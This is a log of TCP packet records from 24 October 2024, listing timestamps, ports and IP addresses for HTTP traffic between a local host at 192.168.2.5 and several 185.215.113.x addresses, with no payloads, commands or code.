Oct 24, 2024 08:38:23.374205112 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374228954 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374385118 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374425888 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374449015 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374474049 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374485970 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374511003 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374610901 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374627113 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374639034 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374650955 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374661922 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374664068 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374664068 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374675035 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374686003 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374692917 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374712944 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374732971 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374885082 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374912977 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374922991 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374927998 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374934912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374949932 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374959946 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.374967098 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.374998093 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.375019073 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375030994 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375056982 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.375071049 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.375169039 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375181913 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375193119 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375211954 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.375231028 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.375719070 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375731945 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375744104 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375752926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375761986 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.375767946 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375777006 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.375791073 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.375818968 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.416068077 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.416126966 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.416138887 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.416150093 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.416162014 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.416172981 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.416193008 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.416193008 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.416243076 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.416254044 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.416285038 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.416296005 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.416330099 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.416361094 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.428517103 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.428530931 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.428541899 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.428581953 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.428625107 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.457905054 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.457923889 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.457943916 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.457957029 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.457961082 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.457971096 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.457983017 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.457993031 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.458010912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.458012104 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.458070040 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.458070993 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.458230019 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.458241940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.458254099 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.458309889 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460442066 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460454941 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460503101 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460514069 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460515976 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460535049 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460565090 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460742950 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460762024 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460773945 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460783958 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460788012 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460794926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460798979 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460805893 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460819960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460823059 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460833073 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460844040 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460844994 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460854053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460870028 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460894108 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460922003 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460933924 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460944891 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.460963011 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460989952 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.460995913 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461034060 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.461057901 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461069107 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461102962 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.461142063 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461153030 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461164951 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461183071 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.461208105 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.461441040 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461461067 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461471081 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461479902 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.461508036 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.461541891 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461551905 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.461580992 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.461605072 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.490792990 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.490910053 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.490921974 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.490932941 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.490946054 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.490957022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.490968943 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.490979910 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.490986109 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.490992069 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491035938 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491096973 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491128922 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491180897 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491350889 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491369963 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491381884 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491393089 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491400957 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491404057 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491411924 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491421938 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491422892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491435051 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491446018 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491455078 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491456032 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491466045 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491468906 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491478920 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491487026 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491489887 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491502047 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491513968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491514921 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491533041 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491563082 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491849899 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491863012 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491929054 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491929054 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491934061 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491945982 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491959095 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491970062 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.491974115 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.491997004 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492022038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492255926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492268085 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492280960 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492295980 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492302895 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492306948 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492319107 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492332935 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492357016 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492453098 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492464066 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492475033 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492496967 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492515087 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492805004 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492849112 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492861986 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492872000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492883921 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492896080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.492906094 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492921114 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.492949963 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.533196926 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.533220053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.533231974 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.533242941 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:23.533303022 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:23.533348083 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:25.883526087 CEST	61008	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:25.883801937 CEST	61013	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:25.889175892 CEST	80	61013	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:25.889297962 CEST	80	61008	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:25.889514923 CEST	61008	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:25.889528990 CEST	61013	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:25.889715910 CEST	61013	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:25.895215988 CEST	80	61013	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:26.675170898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:26.680445910 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:26.680557966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:26.680675983 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:26.685914993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:26.804352045 CEST	80	61013	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:26.804428101 CEST	61013	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:26.806211948 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:26.806583881 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:26.811966896 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:26.812000990 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:26.812030077 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:26.812072992 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:26.812344074 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:26.817642927 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.652206898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:27.652276039 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:27.655607939 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:27.660984039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:27.730655909 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730688095 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730736017 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.730741024 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730776072 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.730778933 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730808973 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730813980 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.730834007 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.730844975 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.730859995 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730887890 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730896950 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.730921030 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730931044 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.730956078 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730957985 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.730988979 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.730992079 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.731029034 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.736321926 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.736357927 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.736383915 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.736404896 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.736506939 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.736541986 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.736587048 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.888722897 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.888736963 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.888761997 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.888777971 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.888793945 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.888901949 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.889157057 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.889172077 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.889187098 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.889235020 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.889247894 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.889605045 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.889621019 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.889637947 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.889652014 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.889659882 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.889679909 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.889710903 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.890222073 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.890237093 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.890260935 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:27.890270948 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.890289068 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.890305042 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:27.947283983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:27.951397896 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:27.952359915 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:27.957645893 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:28.007992029 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.008007050 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.008066893 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.008126020 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.008141041 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.008184910 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.008184910 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.008464098 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.008500099 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.008512020 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.008523941 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.008538961 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.008554935 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.008578062 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.008601904 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.009063959 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.009078979 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.009095907 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.009110928 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.009124994 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.009150982 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.050139904 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.050165892 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.050180912 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.050245047 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.050283909 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.127393961 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.127409935 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.127471924 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.127506971 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.127522945 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.127640009 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.127640009 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.127712011 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.127758026 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.127777100 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.127793074 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.127806902 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.127820015 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.127844095 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.127854109 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.128236055 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.128283024 CEST	80	61015	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:28.128285885 CEST	61015	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:28.128304005 CEST	80	61015	185.215.113.16	192.168.2.5
